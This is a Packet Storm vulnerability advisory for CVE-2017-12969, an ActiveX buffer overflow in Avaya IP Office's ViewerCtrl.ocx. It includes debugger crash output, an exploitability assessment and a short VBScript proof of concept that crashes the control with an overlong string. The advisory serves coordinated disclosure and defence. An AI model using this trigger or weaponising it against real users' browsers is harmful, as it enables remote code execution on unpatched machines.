Avaya IP Office (IPO) 10.1 Active-X Buffer Overflow

2017-11-05T00:00:00
ID PACKETSTORM:144882
Type packetstorm
Reporter hyp3rlinx
Modified 2017-11-05T00:00:00

Description

                                        
                                            `[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-(IPO)-v9.1.0-10.1-VIEWERCTRL-ACTIVE-X-BUFFER-OVERFLOW-0DAY.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
=============  
www.avaya.com  
  
  
  
Product:  
===========  
Avaya IP Office (IPO)   
v9.1.0 - 10.1  
  
IP Office is Avaya's global midsize solution for enterprises, supporting up to 3,000 users at a single location with IP Office Select editions.  
For businesses with multiple locations, IP Office provides a powerful set of tools to help streamline operations, centralize management, and  
reduce total cost of ownership for converged networks. Using industry standards, IP Office enables companies to share resources, provide  
improved customer service, and keep mobile employees accessible.  
  
Provides a hybrid PBX with TDM and IP telephony and trunk support.  
Provides IP routing, switching and firewall protection, between LAN and WAN (LAN2).  
  
In addition to basic telephony services and voicemail, IP Office offers both hard phone and soft phone options.  
Includes a robust set of tools for administration (Manager), call tracking (SMDR), and system monitoring and diagnostics (System Status Application).  
  
Available editions: Basic, Essential, Preferred, Server, Server Select, Server with Virtualized Software, Server/Sever Select hosted in the Cloud.  
  
  
  
Vulnerability Type:  
====================  
ActiveX Remote Buffer Overflow  
  
  
  
  
CVE Reference:  
==============  
CVE-2017-12969  
ASA-2017-313  
  
  
  
Security Issue:  
================  
ViewerCtrl.ocx ActiveX Component used by Avaya IP Office (IPO) can be exploited by remote attackers to potentially execute arbitrary  
attacker supplied code. User would have to visit a malicious webpage using InternetExplorer where the exploit could be triggered.  
  
Clsid: {27F12EFD-325D-4907-A2D2-C38A2B6D3334}  
Safe for Script: False  
Safe for Init: False  
  
ACCESS_VIOLATION  
8C4A77 MOV EAX,[ECX]  
  
SEH Chain:  
-----------  
1 8D00A3 po.dll  
2 36A7E95 CIPElements.dll  
3 36A8115 CIPElements.dll  
4 788719 ViewerCtrl.OCX  
5 788533 ViewerCtrl.OCX  
6 78862A ViewerCtrl.OCX  
7 6008793E mfc90u.dll  
8 60089B31 mfc90u.dll  
9 779858C5 ntdll.dll  
  
  
(d360.1040c): Access violation - code c0000005 (first/second chance not available)  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -   
*** ERROR: Symbol file could not be found. Defaulted to export symbols for po.dll -   
*** ERROR: Symbol file could not be found. Defaulted to export symbols for CIPElements.dll -   
eax=0608ec18 ebx=00000000 ecx=00000000 edx=00000000 esi=0aa7bdd0 edi=0aa7bdd0  
eip=06064a77 esp=03535c78 ebp=03535db0 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246  
po!cip::po::SpecialObjects::getPresetObject+0x77:  
06064a77 8b01 mov eax,dword ptr [ecx] ds:002b:00000000=????????  
0:008> !load winext/msec  
0:008> !exploitable  
  
!exploitable 1.6.0.0  
*** ERROR: Module load completed but symbols could not be loaded for mfc90u.dll  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for mshtml.dll -   
*** ERROR: Symbol file could not be found. Defaulted to export symbols for user32.dll -   
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ieframe.dll -   
*** ERROR: Symbol file could not be found. Defaulted to export symbols for iertutil.dll -   
*** ERROR: Symbol file could not be found. Defaulted to export symbols for IEShims.dll -   
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -   
  
Exploitability Classification: PROBABLY_EXPLOITABLE  
  
Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls Code Flow starting at   
po!cip::po::SpecialObjects::getPresetObject+0x0000000000000077 (Hash=0x6f1f914b.0xc46b7285)  
  
The data from the faulting address is later used as the target for a branch.  
  
  
References:  
==============  
https://downloads.avaya.com/css/P8/documents/101044091  
  
  
Exploit/POC:  
=============  
  
<object classid='clsid:27F12EFD-325D-4907-A2D2-C38A2B6D3334' id='victim' />  
  
<script language='vbscript'>  
victimFile = "C:\Program Files (x86)\Avaya\IP Office Contact Center\User Interface\ViewerCtrl.ocx"  
prototype = "Function open ( ByVal containerId As String ) As Long"  
memberName = "open"  
progid = "ViewerCtrlLib.ViewerCtrl"  
argCount = 1  
payload=String(5142, "A")  
  
victim.open payload  
  
</script>  
  
  
Network Access:  
===============  
Remote  
  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: July 12, 2017  
Vendor acknowlegement: July 14, 2017  
CVE assigned by mitre : August 19, 2017  
Vendor advisory : November 4, 2017  
November 5, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`